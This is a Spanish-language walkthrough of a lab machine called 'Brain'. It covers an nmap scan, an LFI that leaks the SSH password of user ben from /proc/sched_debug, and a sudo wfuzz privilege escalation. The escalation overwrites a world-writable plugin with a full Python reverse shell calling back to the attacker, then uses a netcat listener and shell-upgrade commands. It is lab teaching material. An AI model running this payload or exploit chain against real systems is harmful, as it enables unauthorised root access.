Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-09 05:19 EDT
Nmap scan report for 192.168.5.96
Host is up (0.00058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 32:95:f9:20:44:d7:a1:d1:80:a8:d6:95:91:d5:1e:da (RSA)
| 256 07:e7:24:38:1d:64:f6:88:9a:71:23:79:b8:d8:e6:57 (ECDSA)
|_ 256 58:a6:da:1e:0f:89:42:2b:ba:de:00:fc:71:78:3d:56 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:05:BA:6C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds
Veremos puertos interesantes, pero entre ellos, el puerto 80 que suele alojar una pagina web, si entramos dentro veremos lo siguiente:
La línea runnable tasks: y columnas como task, PID, prio, wait-time, sum-exec, sum-sleep son típicas de /proc/sched_debug, por lo que puede ser interesante saber esto, ya que parece que la web nos quiere dar una pista, pero no veremos nada mas.
Vamos a realizar un poco de fuzzing.
Gobuster
Info:
No veremos nada interesante, pero si veremos un index.php que es en el que estamos, como no podemos hacer nada mas, vamos a probar a realizar un fuzzing con parametro de PHP a ver si alguno fuera vulnerable a un LFI.
FFUF
Info:
Veremos que ha funcionado, encontramos el parametro include como parametro vulnerable en el cual podemos leer archivos del sistema (LFI) local, por lo que vamos a realizar lo siguiente para probarlo.
Escalate user ben
Info:
Veremos que esta funcionando y ya identificamos 1 usuario llamado ben, pero si recordamos antes en la pagina estaba cargando un archivo llamado /proc/sched_debug, vamos a probar a intentar leerlo a ver si nos revela informacion importante o no.
Info:
De toda la info que nos suelta vemos interesante esta linea de aqui, por lo que vemos puede ser una posible contraseña del usuario ben por SSH.
SSH
Metemos como contraseña B3nP4zz...
Veremos que estaremos dentro, por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Veremos que podemos ejecutar el binario wfuzz como el usuario root, vamos a ver el help de dicha herramienta a ver que podemos ver.
Si listamos los permisos de los .py que utiliza la herramienta wfuzz, ya que dicha herramienta cada parametro que tiene, lo tiene asociado con un sccript en python, veremos lo siguiente:
Info:
Veremos interesante una linea en concreto, en la cual tendremos todos los permisos para modificar lo que queramos en el script de python de un parametro de la herramienta.
Si investigamos a que parametro pertenece dicho script veremos que es al parametro -z range,<RANGOMINIMO>-<RANGOMAXIMO> por lo que vamos a modificar dicho script para meter lo siguiente:
Antes para borrarlo todo haremos esto:
range.py
Ahora si lo guardamos y ejecutamos la herramienta de esta forma invocando el parametro para que se ejecute el script de python...
Antes de ejecutarlo nos pondremos a la escucha:
Ahora si lo ejecutamos lo anterior y volvemos a donde tenemos la escucha, veremos lo siguiente:
Veremos que ha funcionado, por lo que sanitizaremos la shell.
Sanitización de shell (TTY)
Ahora que somos root, vamos a leer la flag de root.
...........................<RESTO DE INFO>.........................................
S ben:B3nP4zz 393 1585.480237 59 120 0.000000 4.695817 0.000000 0 0 /
...........................<RESTO DE INFO>.........................................
ssh ben@<IP>
Linux brain 4.19.0-23-amd64 #1 SMP Debian 4.19.269-1 (2022-12-20) x86_64
ben@brain:~$ whoami
ben
4be68799a5cef6a6e2b36379e8ae2759
Matching Defaults entries for ben on Brain:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ben may run the following commands on Brain:
(root) NOPASSWD: /usr/bin/wfuzz
find /usr/lib/python3/dist-packages/wfuzz /usr/share/wfuzz -type f -name "*.py" -exec ls -l {} \;
-rw-r--r-- 1 root root 32 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/__main__.py
-rw-r--r-- 1 root root 1729 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/mixins.py
-rw-r--r-- 1 root root 10509 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/options.py
-rw-r--r-- 1 root root 822 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/exception.py
-rw-r--r-- 1 root root 10349 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/core.py
-rw-r--r-- 1 root root 722 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/api.py
-rw-r--r-- 1 root root 2754 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/facade.py
-rw-r--r-- 1 root root 1739 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/listing.py
-rw-r--r-- 1 root root 1148 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/grep.py
-rw-r--r-- 1 root root 2179 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/svn_extractor.py
-rw-r--r-- 1 root root 1513 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/robots.py
-rw-r--r-- 1 root root 4129 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/errors.py
-rw-r--r-- 1 root root 1156 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/sitemap.py
-rw-r--r-- 1 root root 1580 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/cvs_extractor.py
-rw-r--r-- 1 root root 1133 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/screenshot.py
-rw-r--r-- 1 root root 2234 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/links.py
-rw-r--r-- 1 root root 837 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/title.py
-rw-r--r-- 1 root root 1624 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/headers.py
-rw-r--r-- 1 root root 2446 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/wcdb.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/__init__.py
-rw-r--r-- 1 root root 931 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/cookies.py
-rw-r--r-- 1 root root 1906 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/backups.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/printers/__init__.py
-rw-r--r-- 1 root root 11634 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/printers/printers.py
-rw-r--r-- 1 root root 1873 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/iterators/iterations.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/iterators/__init__.py
-rw-r--r-- 1 root root 1447 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/hexrand.py
-rw-r--r-- 1 root root 3234 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/names.py
-rw-r--r-- 1 root root 1556 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/list.py
-rw-r--r-- 1 root root 1438 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/dirwalk.py
-rw-r--r-- 1 root root 1549 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/iprange.py
-rw-r--r-- 1 root root 1199 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/guitab.py
-rw-r--r-- 1 root root 1594 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/ipnet.py
-rw-r--r-- 1 root root 1232 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/bing.py
-rwxrwxrwx 1 root root 1519 abr 19 2023 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
-rw-r--r-- 1 root root 699 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/stdin.py
-rw-r--r-- 1 root root 1669 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/permutation.py
-rw-r--r-- 1 root root 1370 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/file.py
-rw-r--r-- 1 root root 2064 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py
-rw-r--r-- 1 root root 1546 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/hexrange.py
-rw-r--r-- 1 root root 962 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/buffer_overflow.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/__init__.py
-rw-r--r-- 1 root root 2053 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/autorize.py
-rw-r--r-- 1 root root 7807 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/burpstate.py
-rw-r--r-- 1 root root 3581 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/burplog.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/__init__.py
-rw-r--r-- 1 root root 13333 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/encoders/encoders.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/encoders/__init__.py
-rw-r--r-- 1 root root 4530 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/utils.py
-rw-r--r-- 1 root root 9977 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/myqueues.py
-rw-r--r-- 1 root root 5201 ene 25 2019 /usr/lib/python3/dist-packages/wfuzz/wfuzz.py
-rw-r--r-- 1 root root 338 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugin_api/mixins.py
-rw-r--r-- 1 root root 4142 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugin_api/payloadtools.py
-rw-r--r-- 1 root root 4677 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugin_api/base.py
-rw-r--r-- 1 root root 1813 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugin_api/urlutils.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugin_api/__init__.py
-rw-r--r-- 1 root root 7932 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/myhttp.py
-rw-r--r-- 1 root root 2232 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/gui/controller.py
-rw-r--r-- 1 root root 10451 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/gui/guicontrols.py
-rw-r--r-- 1 root root 2988 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/gui/model.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/gui/__init__.py
-rw-r--r-- 1 root root 5660 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/console/output.py
-rw-r--r-- 1 root root 8699 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/console/mvc.py
-rw-r--r-- 1 root root 15591 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/console/clparser.py
-rw-r--r-- 1 root root 10842 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/console/common.py
-rw-r--r-- 1 root root 2629 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/console/getch.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/console/__init__.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/__init__.py
-rw-r--r-- 1 root root 10139 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/fuzzqueues.py
-rw-r--r-- 1 root root 5366 ene 25 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/TextParser.py
-rw-r--r-- 1 root root 8353 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/Response.py
-rw-r--r-- 1 root root 713 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/cache.py
-rw-r--r-- 1 root root 245 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/exceptions.py
-rw-r--r-- 1 root root 4174 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/Variables.py
-rw-r--r-- 1 root root 60 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/__init__.py
-rw-r--r-- 1 root root 17387 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/Request.py
-rw-r--r-- 1 root root 2657 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/settings/settings.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/settings/__init__.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/__init__.py
-rw-r--r-- 1 root root 4524 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/moduleman/modulefilter.py
-rw-r--r-- 1 root root 5016 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/moduleman/loader.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/moduleman/__init__.py
-rw-r--r-- 1 root root 4293 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/moduleman/registrant.py
-rw-r--r-- 1 root root 482 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/moduleman/plugin.py
-rw-r--r-- 1 root root 1232 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/__init__.py
-rw-r--r-- 1 root root 12958 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/filter.py
-rw-r--r-- 1 root root 29849 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/fuzzobjects.py
-rwxrwxrwx 1 root root 1519 abr 19 2023 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
#!/usr/bin/env python3
import socket,subprocess,os,pty
# Cambia estos valores por los de tu máquina atacante
RHOST = "<IP>" # IP del atacante
RPORT = <PORT> # Puerto donde escucharás con netcat
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
os.dup2(s.fileno(),0) # STDIN
os.dup2(s.fileno(),1) # STDOUT
os.dup2(s.fileno(),2) # STDERR
pty.spawn("/bin/bash")
except Exception as e:
pass
sudo wfuzz -z range,1-10 http://localhost/FUZZ
nc -lvnp <PORT>
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.96] 55380
root@brain:/home/ben# whoami
whoami
root
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>